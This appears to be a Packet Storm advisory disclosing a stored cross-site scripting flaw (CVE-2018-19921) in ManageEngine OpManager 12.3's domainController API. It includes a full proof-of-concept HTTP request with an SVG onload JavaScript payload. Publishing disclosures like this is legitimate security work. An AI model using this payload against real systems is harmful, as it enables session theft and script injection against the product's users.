what you don't know can hurt you

Zoho ManageEngine OpManager 12.3 Cross Site Scripting

Zoho ManageEngine OpManager 12.3 Cross Site Scripting
Posted Dec 11, 2018
Authored by Murat Aydemir

Zoho ManageEngine OpManager version 12.3 prior to build 123237 has a cross site scripting vulnerability in the domainController API.

tags | exploit, xss
advisories | CVE-2018-19921
MD5 | b11e9568f6dc64f119668179e275009c

Zoho ManageEngine OpManager 12.3 Cross Site Scripting

Change Mirror Download
I. VULNERABILITY
-------------------------
Zoho ManageEngine OpManager 12.3 before Build 123237 has XSS via the
domainController API.

II. CVE REFERENCE
-------------------------
CVE-2018-19921

III. VENDOR
-------------------------
https://www.manageengine.com

IV. TIMELINE
-------------------------
20/11/18 Vulnerability discovered
20/11/18 Vendor contacted
06/12/2018 OPManager replay that they fixed

V. CREDIT
-------------------------
Murat Aydemir from Biznet Bilisim A.S.

VI. DESCRIPTION
-------------------------
ManageEngine OPManager product(version 12.3) was vulnerable to stored
xss attacks. A successfully exploit of this attack could allow thief
users sessions or arbitrary interpret javascript code on remote host.
References: https://www.manageengine.com/network-monitoring/help/read-me.html,
https://bugbounty.zoho.com/bb/info#hof

VII. PoC
-------------------------
POST /api/json/admin/updateDomainDetails?apiKey=5f5e26abc7bf2af2a5669cf258ec8385
HTTP/1.1
Host: vulnerablehost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:61.0)
Gecko/20100101 Firefox/61.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://vulnerablehost/apiclient/ember/index.jsp
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 113
Cookie: JSESSIONID=XXXXXXXXXXXXXXXX; encryptPassForAutomaticSignin=
XXXXXXXXXXXXXXXX; userNameForAutomaticSignin= XXXXXXXXXXXXXXXX;
domainNameForAutomaticSignin=Authenticator; signInAutomatically=true;
authrule_name=Authenticator; NFA__SSO= XXXXXXXXXXXXXXXX;
opmcsrfcookie= XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
DNT: 1
Connection: close

domainName=AA%22%3E&domainController=aa%22%3E%3Csvg%2Fonload%3Dconfirm('xss_in_domainController_parameter')%2F%2F

cleartext of payload "><svg/onload=alert('xss_in_domainController_parameter')//

--









Bu mesaj ve ekleri, mesajda
gAPnderildiAi belirtilen
kiAi/kiAilere APzeldir ve gizlidir. Bu mesaj
herhangi bir amaASS iASSin
ASSoAaltA+-lamaz, daAA+-tA+-lamaz ve yayA+-nlanamaz.
MesajA+-n gAPnderildiAi kiAi
deAilseniz, mesaj iASSeriAini ya da eklerini
kopyalamayA+-nA+-z, yayA+-nlamayA+-nA+-z
ya da baAka kiAilere yAPnlendirmeyiniz ve
mesajA+- gAPnderen kiAiyi derhal
uyararak bu mesajA+- siliniz. Airketimiz,
mesajA+-n iASSeriAinin ve eklerinin
size deAiAikliAe uArayarak veya geASS
ulaAmasA+-ndan; gizliliAinin
korunmamasA+-ndan; virA1/4s iASSermesinden ve
bilgisayar sisteminize verebileceAi
herhangi bir zarardan sorumlu
deAildir


This message and its
attachments
are confidential and intended solely for the recipient(s)
stated therein.
This message cannot be copied, distributed or published
for any purpose.
If you are not the intended recipient, please do not
copy, publish or
forward the information existing in the content and
attachments of this
message. In such case please notify the sender
immediately and delete all
the copies of the message. Our company shall
have no liability for any
changes in or late receiving of the message,
loss of integrity and
confidentiality, viruses and any damages caused in
anyway to your computer
system based on this message.

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

March 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    15 Files
  • 2
    Mar 2nd
    5 Files
  • 3
    Mar 3rd
    3 Files
  • 4
    Mar 4th
    25 Files
  • 5
    Mar 5th
    20 Files
  • 6
    Mar 6th
    16 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    12 Files
  • 9
    Mar 9th
    3 Files
  • 10
    Mar 10th
    4 Files
  • 11
    Mar 11th
    23 Files
  • 12
    Mar 12th
    12 Files
  • 13
    Mar 13th
    12 Files
  • 14
    Mar 14th
    19 Files
  • 15
    Mar 15th
    12 Files
  • 16
    Mar 16th
    3 Files
  • 17
    Mar 17th
    1 Files
  • 18
    Mar 18th
    15 Files
  • 19
    Mar 19th
    22 Files
  • 20
    Mar 20th
    14 Files
  • 21
    Mar 21st
    8 Files
  • 22
    Mar 22nd
    0 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    0 Files
  • 26
    Mar 26th
    0 Files
  • 27
    Mar 27th
    0 Files
  • 28
    Mar 28th
    0 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close